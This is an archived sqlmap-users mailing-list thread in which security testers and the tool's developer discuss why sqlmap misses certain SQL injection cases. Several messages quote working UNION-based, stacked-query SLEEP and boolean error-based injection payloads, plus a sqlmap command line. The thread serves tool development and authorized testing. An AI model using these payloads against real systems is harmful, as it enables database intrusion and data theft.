>>

Re: [sqlmap-users] A simple injection case failing

[Miroslav S. <mir...@gm...>]

Hi.

sqlmap has problems, as said, because results are trimmed to 14 chars.

It uses 5 chars for prefix (in this case :jug:) and 5 chars for suffix (in
this case :hor:) to enclose query result. That leaves 4 usable chars.

We use prefix and suffix because sqlmap has to know where result starts and
where it ends. Without those marks we can't do our job. And no, they can't
be any shorter. That's an optimal length found through years of
development. Previously, we've used shorter ones and there were occasional
reports of false positives or bad result extraction.

As said, please exploit your case manually.

Kind regards,
Miroslav Stampar
On Jun 10, 2013 8:28 PM, "Stephen Shkardoon" <ss...@ss...> wrote:

> Hi,
>
> After trying to figure out exactly what's going on, it looks like the
> input ParameterOne is truncated to 167 characters. It's a blackbox test so
> I'm not sure how it's producing valid SQL, but I guess my next question is,
> if an input size is constrained like this, does sqlmap have a mechanism for
> still working?
> As long as database/table/field names aren't amazing long, it should be
> possible for sqmap to exfil data, right?
>
> Thanks,
> Stephen
>
>
> On Wed, Jun 5, 2013 at 9:56 AM, Miroslav Stampar <
> mir...@gm...> wrote:
>
>> Hi.
>>
>> That site is trimming results (seems to do it to 14 chars in length).
>>
>> For example, request [#32]:
>>
>> ParamterOne=-4230' UNION ALL SELECT
>> NULL,NULL,CHAR(58)+CHAR(106)+CHAR(117)+CHAR(103)+CHAR(58)+CHAR(75)+CHAR(108)+CHAR(101)+CHAR(113)+CHAR(75)+CHAR(89)+CHAR(67)+CHAR(120)+CHAR(113)+CHAR(116)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(114)+CHAR(58)--
>> &ParameterTwo=10,11,12,35,61
>>
>> can be decoded to:
>>
>> ParamterOne=-4230' UNION ALL SELECT NULL,NULL,*:jug:KleqKYCxqt:hor:*--
>> &ParameterTwo=10,11,12,35,61
>>
>> while in response there is:
>> :jug:KleqKYCxq
>>
>> In this kind of cases you'll need to (at least try to) exploit it
>> manually.
>>
>> Kind regards,
>> Miroslav Stampar
>>
>>
>> On Tue, Jun 4, 2013 at 10:47 AM, Stephen Shkardoon <ss...@ss...>wrote:
>>
>>> I have a case that sqlmap seems to be acting weird about. I've ran a
>>> 'sqlmap.py -u "myhost.com/TestFile.aspx"
>>> --data="ParameterOne=d&ParameterTwo=10,11,12,35,61" --dbms=mssql --hostname
>>> --technique=U --union-cols=3 -v 6 --flush-session --fresh-queries -t
>>> traffic_log.txt'
>>> Manually injecting with ParameterOne looking like "foo' UNION SELECT
>>> 1,2,3 -- " works as expected. In fact, in the log, you can see it working
>>> fine in the case of request #32 and #36. However, sqlmap doesn't "find"
>>> this issue. Most of the queries seem to be doing something like "foo)
>>> UNION" instead.
>>> Is there a problem on my end here, or is sqlmap doing something weird or
>>> what?
>>>
>>> Running sqlmap/1.0-dev-3e0f747 (latest git).
>>>
>>> Thanks,
>>> Stephen
>>>
>>>
>>> ------------------------------------------------------------------------------
>>> How ServiceNow helps IT people transform IT departments:
>>> 1. A cloud service to automate IT design, transition and operations
>>> 2. Dashboards that offer high-level views of enterprise services
>>> 3. A single system of record for all IT processes
>>> http://p.sf.net/sfu/servicenow-d2d-j
>>> _______________________________________________
>>> sqlmap-users mailing list
>>> sql...@li...
>>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>>
>>>
>>
>>
>> --
>> Miroslav Stampar
>> http://about.me/stamparm
>>
>
>

Re: [sqlmap-users] A simple injection case failing

[Stephen S. <ss...@ss...>]

Hi,

After trying to figure out exactly what's going on, it looks like the input
ParameterOne is truncated to 167 characters. It's a blackbox test so I'm
not sure how it's producing valid SQL, but I guess my next question is, if
an input size is constrained like this, does sqlmap have a mechanism for
still working?
As long as database/table/field names aren't amazing long, it should be
possible for sqmap to exfil data, right?

Thanks,
Stephen


On Wed, Jun 5, 2013 at 9:56 AM, Miroslav Stampar <mir...@gm...
> wrote:

> Hi.
>
> That site is trimming results (seems to do it to 14 chars in length).
>
> For example, request [#32]:
>
> ParamterOne=-4230' UNION ALL SELECT
> NULL,NULL,CHAR(58)+CHAR(106)+CHAR(117)+CHAR(103)+CHAR(58)+CHAR(75)+CHAR(108)+CHAR(101)+CHAR(113)+CHAR(75)+CHAR(89)+CHAR(67)+CHAR(120)+CHAR(113)+CHAR(116)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(114)+CHAR(58)--
> &ParameterTwo=10,11,12,35,61
>
> can be decoded to:
>
> ParamterOne=-4230' UNION ALL SELECT NULL,NULL,*:jug:KleqKYCxqt:hor:*--
> &ParameterTwo=10,11,12,35,61
>
> while in response there is:
> :jug:KleqKYCxq
>
> In this kind of cases you'll need to (at least try to) exploit it manually.
>
> Kind regards,
> Miroslav Stampar
>
>
> On Tue, Jun 4, 2013 at 10:47 AM, Stephen Shkardoon <ss...@ss...>wrote:
>
>> I have a case that sqlmap seems to be acting weird about. I've ran a
>> 'sqlmap.py -u "myhost.com/TestFile.aspx"
>> --data="ParameterOne=d&ParameterTwo=10,11,12,35,61" --dbms=mssql --hostname
>> --technique=U --union-cols=3 -v 6 --flush-session --fresh-queries -t
>> traffic_log.txt'
>> Manually injecting with ParameterOne looking like "foo' UNION SELECT
>> 1,2,3 -- " works as expected. In fact, in the log, you can see it working
>> fine in the case of request #32 and #36. However, sqlmap doesn't "find"
>> this issue. Most of the queries seem to be doing something like "foo)
>> UNION" instead.
>> Is there a problem on my end here, or is sqlmap doing something weird or
>> what?
>>
>> Running sqlmap/1.0-dev-3e0f747 (latest git).
>>
>> Thanks,
>> Stephen
>>
>>
>> ------------------------------------------------------------------------------
>> How ServiceNow helps IT people transform IT departments:
>> 1. A cloud service to automate IT design, transition and operations
>> 2. Dashboards that offer high-level views of enterprise services
>> 3. A single system of record for all IT processes
>> http://p.sf.net/sfu/servicenow-d2d-j
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li...
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>
>>
>
>
> --
> Miroslav Stampar
> http://about.me/stamparm
>

Re: [sqlmap-users] Non-Detected SQLi

[Sebastian N. <seb...@sy...>]

Hi Miroslav,

Am 10.06.2013 12:22, schrieb Miroslav Stampar:
> Hi Sebastian.
> 
> There was indeed a bug [1]. Find it fixed now.

And its working, thanks!

> If you would like to contribute this payload we could include it into
> sqlmap :)

With pleasure! It should be working with (at least) MySQL, I haven't
verified it in PostgreSQL. It *is* working in WHERE, SELECT before FROM
and ORDER BY, not tested for other locations. Quite possibly similar
'syntax errors' can be found for other locations/dbms.
The "" are needed, because sqlmap will convert '' into 0x, which will
not throw an error.

Kind regards,

Sebastian Nerz

> 
> Kind regards,
> Miroslav Stampar
> 
> [1] https://github.com/sqlmapproject/sqlmap/issues/462
> 
> 
> On Mon, Jun 10, 2013 at 11:30 AM, Sebastian Nerz <seb...@sy...>wrote:
> 
>> Hi there,
>>
>> I wrote a small payload, to test for conditional error-based
>> SQL-injection possibilities:
>>
>>     <!-- Boolean-error-based blind tests - WHERE/HAVING clause -->
>>     <test>
>>         <title>AND boolean-error-based blind - WHERE or HAVING clause
>> (MySQL)</title>
>>         <stype>1</stype>
>>         <level>1</level>
>>         <risk>1</risk>
>>         <clause>1</clause>
>>         <where>1</where>
>>         <vector>REGEXP IF([INFERENCE],1,"")</vector>
>>         <request>
>>             <payload>REGEXP IF([RANDNUM]=[RANDNUM],1,"")</payload>
>>         </request>
>>         <response>
>>             <comparison>REGEXP IF([RANDNUM]=[RANDNUM1],1,"")</comparison>
>>         </response>
>>         <details>
>>           <dbms>MySQL</dbms>
>>         </details>
>>     </test>
>>
>>
>> Theoretically it is working - as long as the server is actually
>> returning content, the injection is detected and works just fine (feel
>> free to add it to the sqlmap repository, if it is correct :) ). But a
>> soon as the tested URL is returning an empty page, detection fails.
>>
>> * With a TRUE request, the server returns a content-length of 0
>> * With a FALSE request, the server returns the error message
>>
>> Now ... for my understanding, this is quite a difference, but SQLMAP
>> fails to recognize it, even with "not-string" given. The problem might
>> be, that the server returns a warning during the dynamic-check as well.
>> Is it possible to forbid the usage of ' during this test?
>>
>> What am I doing wrong? Is there an error in the payload above? Can
>> sqlmap handle empty pages?
>>
>> Thanks!
>>
>> Kind regards,
>>
>> Sebastian Nerz
>> --
>> Sebastian Nerz
>> Dipl.-Inform.
>> IT-Security Consultant
>>
>> mailto:seb...@sy...
>> ___________________________________________________________
>>
>> SySS GmbH
>> Wohlboldstraße 8
>> 72072 Tübingen
>> Germany
>> Voice: +49 7071 407856-31
>> Fax:   +49 7071 407856-19
>> WWW:   http://www.syss.de
>>
>> PGP FP: 79DC 2CEC D18D F92F CBB4 AF09 D12D 26A4 9180 FDB2
>>
>> Geschaeftsfuehrer Sebastian Schreiber
>> Registergericht: Amtsgericht Stuttgart / HRB 382420
>> Steuernummer: 86118 / 55809
>>
>>
>>
>>
>> ------------------------------------------------------------------------------
>> How ServiceNow helps IT people transform IT departments:
>> 1. A cloud service to automate IT design, transition and operations
>> 2. Dashboards that offer high-level views of enterprise services
>> 3. A single system of record for all IT processes
>> http://p.sf.net/sfu/servicenow-d2d-j
>> _______________________________________________
>> sqlmap-users mailing list
>> sql...@li...
>> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>>
>>
> 
> 


-- 
Sebastian Nerz
Dipl.-Inform.
IT-Security Consultant

mailto:seb...@sy...
___________________________________________________________

SySS GmbH
Wohlboldstraße 8
72072 Tübingen
Germany
Voice: +49 7071 407856-31
Fax:   +49 7071 407856-19
WWW:   http://www.syss.de

PGP FP: 79DC 2CEC D18D F92F CBB4 AF09 D12D 26A4 9180 FDB2

Geschaeftsfuehrer Sebastian Schreiber
Registergericht: Amtsgericht Stuttgart / HRB 382420
Steuernummer: 86118 / 55809

Re: [sqlmap-users] Non-Detected SQLi

[Miroslav S. <mir...@gm...>]

Hi Sebastian.

There was indeed a bug [1]. Find it fixed now.

If you would like to contribute this payload we could include it into
sqlmap :)

Kind regards,
Miroslav Stampar

[1] https://github.com/sqlmapproject/sqlmap/issues/462


On Mon, Jun 10, 2013 at 11:30 AM, Sebastian Nerz <seb...@sy...>wrote:

> Hi there,
>
> I wrote a small payload, to test for conditional error-based
> SQL-injection possibilities:
>
>     <!-- Boolean-error-based blind tests - WHERE/HAVING clause -->
>     <test>
>         <title>AND boolean-error-based blind - WHERE or HAVING clause
> (MySQL)</title>
>         <stype>1</stype>
>         <level>1</level>
>         <risk>1</risk>
>         <clause>1</clause>
>         <where>1</where>
>         <vector>REGEXP IF([INFERENCE],1,"")</vector>
>         <request>
>             <payload>REGEXP IF([RANDNUM]=[RANDNUM],1,"")</payload>
>         </request>
>         <response>
>             <comparison>REGEXP IF([RANDNUM]=[RANDNUM1],1,"")</comparison>
>         </response>
>         <details>
>           <dbms>MySQL</dbms>
>         </details>
>     </test>
>
>
> Theoretically it is working - as long as the server is actually
> returning content, the injection is detected and works just fine (feel
> free to add it to the sqlmap repository, if it is correct :) ). But a
> soon as the tested URL is returning an empty page, detection fails.
>
> * With a TRUE request, the server returns a content-length of 0
> * With a FALSE request, the server returns the error message
>
> Now ... for my understanding, this is quite a difference, but SQLMAP
> fails to recognize it, even with "not-string" given. The problem might
> be, that the server returns a warning during the dynamic-check as well.
> Is it possible to forbid the usage of ' during this test?
>
> What am I doing wrong? Is there an error in the payload above? Can
> sqlmap handle empty pages?
>
> Thanks!
>
> Kind regards,
>
> Sebastian Nerz
> --
> Sebastian Nerz
> Dipl.-Inform.
> IT-Security Consultant
>
> mailto:seb...@sy...
> ___________________________________________________________
>
> SySS GmbH
> Wohlboldstraße 8
> 72072 Tübingen
> Germany
> Voice: +49 7071 407856-31
> Fax:   +49 7071 407856-19
> WWW:   http://www.syss.de
>
> PGP FP: 79DC 2CEC D18D F92F CBB4 AF09 D12D 26A4 9180 FDB2
>
> Geschaeftsfuehrer Sebastian Schreiber
> Registergericht: Amtsgericht Stuttgart / HRB 382420
> Steuernummer: 86118 / 55809
>
>
>
>
> ------------------------------------------------------------------------------
> How ServiceNow helps IT people transform IT departments:
> 1. A cloud service to automate IT design, transition and operations
> 2. Dashboards that offer high-level views of enterprise services
> 3. A single system of record for all IT processes
> http://p.sf.net/sfu/servicenow-d2d-j
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] Non-Detected SQLi

[Sebastian N. <seb...@sy...>]

Hi there,

I wrote a small payload, to test for conditional error-based
SQL-injection possibilities:

    <!-- Boolean-error-based blind tests - WHERE/HAVING clause -->
    <test>
        <title>AND boolean-error-based blind - WHERE or HAVING clause
(MySQL)</title>
        <stype>1</stype>
        <level>1</level>
        <risk>1</risk>
        <clause>1</clause>
        <where>1</where>
        <vector>REGEXP IF([INFERENCE],1,"")</vector>
        <request>
            <payload>REGEXP IF([RANDNUM]=[RANDNUM],1,"")</payload>
        </request>
        <response>
            <comparison>REGEXP IF([RANDNUM]=[RANDNUM1],1,"")</comparison>
        </response>
        <details>
          <dbms>MySQL</dbms>
        </details>
    </test>


Theoretically it is working - as long as the server is actually
returning content, the injection is detected and works just fine (feel
free to add it to the sqlmap repository, if it is correct :) ). But a
soon as the tested URL is returning an empty page, detection fails.

* With a TRUE request, the server returns a content-length of 0
* With a FALSE request, the server returns the error message

Now ... for my understanding, this is quite a difference, but SQLMAP
fails to recognize it, even with "not-string" given. The problem might
be, that the server returns a warning during the dynamic-check as well.
Is it possible to forbid the usage of ' during this test?

What am I doing wrong? Is there an error in the payload above? Can
sqlmap handle empty pages?

Thanks!

Kind regards,

Sebastian Nerz
-- 
Sebastian Nerz
Dipl.-Inform.
IT-Security Consultant

mailto:seb...@sy...
___________________________________________________________

SySS GmbH
Wohlboldstraße 8
72072 Tübingen
Germany
Voice: +49 7071 407856-31
Fax:   +49 7071 407856-19
WWW:   http://www.syss.de

PGP FP: 79DC 2CEC D18D F92F CBB4 AF09 D12D 26A4 9180 FDB2

Geschaeftsfuehrer Sebastian Schreiber
Registergericht: Amtsgericht Stuttgart / HRB 382420
Steuernummer: 86118 / 55809

Re: [sqlmap-users] Stack query detection misbehavior

[Miroslav S. <mir...@gm...>]

Hi David.

Thank you for your report and find it fixed now.

Kind regards,
Miroslav Stampar


On Wed, Jun 5, 2013 at 12:18 PM, David Alvarez <dav...@gm...>wrote:

> Hi,
>
> I have found out a misbehavior in the detection phase, sqlmap detects a
> stack query injectable with the following request:
> POST /path
> abc=%27%29%3B%20SELECT%20SLEEP%285%29--%20
>
> However, when Sqlmap checks if the injection point is a false positive,
> it's using the following payload:
>
> abc=%27%29%3B%20IF%28%28%2884%2B88%29%3D172%29%2CSLEEP%285%29%2C5577%29--%20
>
> At this moment, it replies with a false positive or unexploitable point,
> so the correct payload for Mysql v5.5 will be:
>
> %27%29%3B%20SELECT%20IF%28%28%2884%2B88%29%3D172%29%2CSLEEP%285%29%2C5577%29--%20
>
> The problem is in line 2028 of xml/payloads.xml file, the correct one for
> MySQL v5.5 is:
> <vector>; *SELECT* IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>
>
> payloads.xml:
> ...
> <!-- Stacked queries tests -->
> <test>
> <title>MySQL &gt; 5.0.11 stacked queries</title>
> <stype>4</stype>
> <level>1</level>
> <risk>0</risk>
> <clause>0</clause>
> <where>1</where>
> *<vector>; IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>*
> <request>
> <payload>; SELECT SLEEP([SLEEPTIME])</payload>
> <comment>-- </comment>
> </request>
> <response>
> <time>[SLEEPTIME]</time>
> </response>
> <details>
> <dbms>MySQL</dbms>
> <dbms_version>&gt; 5.0.11</dbms_version>
> </details>
> </test>
>
> Regards
>
>
>
>
> ------------------------------------------------------------------------------
> How ServiceNow helps IT people transform IT departments:
> 1. A cloud service to automate IT design, transition and operations
> 2. Dashboards that offer high-level views of enterprise services
> 3. A single system of record for all IT processes
> http://p.sf.net/sfu/servicenow-d2d-j
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm

[sqlmap-users] Stack query detection misbehavior

[David A. <dav...@gm...>]

Hi,

I have found out a misbehavior in the detection phase, sqlmap detects a
stack query injectable with the following request:
POST /path
abc=%27%29%3B%20SELECT%20SLEEP%285%29--%20

However, when Sqlmap checks if the injection point is a false positive,
it's using the following payload:
abc=%27%29%3B%20IF%28%28%2884%2B88%29%3D172%29%2CSLEEP%285%29%2C5577%29--%20

At this moment, it replies with a false positive or unexploitable point, so
the correct payload for Mysql v5.5 will be:
%27%29%3B%20SELECT%20IF%28%28%2884%2B88%29%3D172%29%2CSLEEP%285%29%2C5577%29--%20

The problem is in line 2028 of xml/payloads.xml file, the correct one for
MySQL v5.5 is:
<vector>; *SELECT* IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>

payloads.xml:
...
<!-- Stacked queries tests -->
<test>
<title>MySQL &gt; 5.0.11 stacked queries</title>
<stype>4</stype>
<level>1</level>
<risk>0</risk>
<clause>0</clause>
<where>1</where>
*<vector>; IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])</vector>*
<request>
<payload>; SELECT SLEEP([SLEEPTIME])</payload>
<comment>-- </comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>MySQL</dbms>
<dbms_version>&gt; 5.0.11</dbms_version>
</details>
</test>

Regards

Re: [sqlmap-users] A simple injection case failing

[Miroslav S. <mir...@gm...>]

Hi.

That site is trimming results (seems to do it to 14 chars in length).

For example, request [#32]:

ParamterOne=-4230' UNION ALL SELECT
NULL,NULL,CHAR(58)+CHAR(106)+CHAR(117)+CHAR(103)+CHAR(58)+CHAR(75)+CHAR(108)+CHAR(101)+CHAR(113)+CHAR(75)+CHAR(89)+CHAR(67)+CHAR(120)+CHAR(113)+CHAR(116)+CHAR(58)+CHAR(104)+CHAR(111)+CHAR(114)+CHAR(58)--
&ParameterTwo=10,11,12,35,61

can be decoded to:

ParamterOne=-4230' UNION ALL SELECT NULL,NULL,*:jug:KleqKYCxqt:hor:*--
&ParameterTwo=10,11,12,35,61

while in response there is:
:jug:KleqKYCxq

In this kind of cases you'll need to (at least try to) exploit it manually.

Kind regards,
Miroslav Stampar


On Tue, Jun 4, 2013 at 10:47 AM, Stephen Shkardoon <ss...@ss...>wrote:

> I have a case that sqlmap seems to be acting weird about. I've ran a
> 'sqlmap.py -u "myhost.com/TestFile.aspx"
> --data="ParameterOne=d&ParameterTwo=10,11,12,35,61" --dbms=mssql --hostname
> --technique=U --union-cols=3 -v 6 --flush-session --fresh-queries -t
> traffic_log.txt'
> Manually injecting with ParameterOne looking like "foo' UNION SELECT 1,2,3
> -- " works as expected. In fact, in the log, you can see it working fine in
> the case of request #32 and #36. However, sqlmap doesn't "find" this issue.
> Most of the queries seem to be doing something like "foo) UNION" instead.
> Is there a problem on my end here, or is sqlmap doing something weird or
> what?
>
> Running sqlmap/1.0-dev-3e0f747 (latest git).
>
> Thanks,
> Stephen
>
>
> ------------------------------------------------------------------------------
> How ServiceNow helps IT people transform IT departments:
> 1. A cloud service to automate IT design, transition and operations
> 2. Dashboards that offer high-level views of enterprise services
> 3. A single system of record for all IT processes
> http://p.sf.net/sfu/servicenow-d2d-j
> _______________________________________________
> sqlmap-users mailing list
> sql...@li...
> https://lists.sourceforge.net/lists/listinfo/sqlmap-users
>
>


-- 
Miroslav Stampar
http://about.me/stamparm